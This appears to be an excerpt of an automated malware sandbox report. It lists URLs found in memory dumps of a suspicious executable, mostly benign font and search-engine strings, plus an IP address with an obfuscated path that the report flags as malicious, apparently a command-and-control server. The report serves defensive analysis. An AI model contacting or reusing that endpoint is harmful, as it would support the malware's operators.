00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr, qKfb1Ejjpm.5.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	8vURQqkwa9.5.dr	false		high
http://www.fontbureau.com/designersG	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr, qKfb1Ejjpm.5.dr	false		high
http://www.fontbureau.com/designers/?	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013AB7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e178	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001405F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140A5000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F47000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142FC000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014249000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DA2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000141BD000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013EBB000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142B6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001428F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E75000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014342000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014203000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140EB000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014131000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DE9000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F8D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014019000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014177000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D16000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D38000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E0A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142D7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001426A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F68000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013EDC000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014224000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F22000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D7E000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000141DE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140C6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014152000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013FAE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013FF4000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E96000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DC4000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CF2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E50000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001410C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001431D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014291000.00000004.00000800.00020000.00000000.sdmp	false		high
http://62.109.16.145/protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJav	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013AB7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr	false		high
http://www.galapagosdesign.com/DPlease	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	FYKrlfQrxb.exe, 00000000.00000002.1686770256.00000000034A6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr, qKfb1Ejjpm.5.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr, qKfb1Ejjpm.5.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001405F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140A5000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F47000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142FC000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014249000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DA2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000141BD000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013EBB000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142B6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001428F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E75000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014342000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014203000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140EB000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014131000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DE9000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F8D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014019000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014177000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D16000.00000004.00000800.00020000.00000000.sdmp	false		high
http://62.109.16.145	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.00000000059FF000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 